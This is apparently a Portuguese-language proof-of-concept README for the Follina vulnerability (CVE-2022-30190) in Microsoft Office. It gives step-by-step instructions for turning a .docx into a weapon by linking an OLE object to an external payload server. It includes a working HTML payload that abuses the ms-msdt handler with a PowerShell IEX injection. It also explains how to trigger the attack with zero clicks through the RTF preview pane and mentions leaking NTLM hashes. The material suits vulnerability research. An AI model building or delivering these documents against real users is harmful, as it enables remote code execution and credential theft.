
Exploit de prova de conceito para CVE-2022-30190 (Follina), demonstrando execução remota de código por meio de documentos Microsoft Office especialmente elaborados usando o manipulador de URI ms-msdt.
Info : Novo zero-day do Microsoft Office usado em ataques para executar PowerShell
Em 29 de maio de 2022, a equipe Nao_Sec, um time independente de Pesquisa em Segurança Cibernética, descobriu um documento malicioso do Office compartilhado no Virustotal. Este documento está usando um esquema incomum, porém conhecido, para infectar suas vítimas. O esquema não foi detectado como malicioso por alguns EDRs, como o Microsoft Defender for Endpoint. Essa vulnerabilidade poderia levar à execução de código sem necessidade de interação do usuário, pois não envolve macros, exceto se o modo de Exibição Protegida estiver habilitado. Ainda não há um número CVE atribuído.
A vulnerabilidade está sendo explorada usando o esquema de URI MSProtocol para carregar código. Atacantes podem incorporar links maliciosos em documentos, modelos ou e-mails do Microsoft Office, começando com ms-msdt:, que serão carregados e executados em seguida sem interação do usuário
Arquivos .docx do MS Office podem conter referências externas a Objetos OLE como arquivos HTML. Existe um esquema HTML "ms-msdt:" que invoca a ferramenta de diagnóstico msdt, que é capaz de executar código arbitrário (especificado nos parâmetros).
O resultado é um vetor de ataque assustador para obter RCE ao abrir arquivos .docx maliciosos (sem usar macros).
Aqui estão os passos para criar um docx de Prova de Conceito:
Abra o Word (usei o 2019 Pro atualizado, 16.0.10386.20017), crie um documento fictício, insira um objeto (OLE) (como Imagem Bitmap) e salve-o em docx.
Edite word/_rels/document.xml.rels na estrutura do docx (é um zip simples). Modifique a tag XML <Relationship> com o atributo
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
e Target="embeddings/oleObject1.bin" alterando o valor de Target e adicionando o atributo TargetMode:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Anote o valor do Id (provavelmente "rId5").
word/document.xml. Procure a tag "<o:OLEObject ..>" (com r:id="rId5") e altere o atributo de Type="Embed" para Type="Link" e adicione o atributo UpdateMode="OnCall".NOTA: O docx malicioso criado é quase o mesmo do CVE-2021-44444.
http://<payload_server>/payload.html:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Observe que:
Além disso, o payload de acionamento pode alcançar locais remotos. Embora seja improvável que invoque um binário não confiável, a conexão ainda carregará hashes NTLM (o que significa que os agentes mal-intencionados agora têm um hash da senha do Windows da vítima) que podem ser usados por um adversário para pós-exploração adicional.
Se você também adicionar estes elementos sob o elemento <o:OLEObject> em word/document.xml no passo 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
então também funcionará como RTF (abra o docx resultante e salve-o como RTF).
Com RTF, não há necessidade de abrir o arquivo no Word; basta navegar até o arquivo e visualizá-lo em um painel de visualização. O painel de visualização aciona o payload HTML externo e o RCE acontece sem nenhum clique.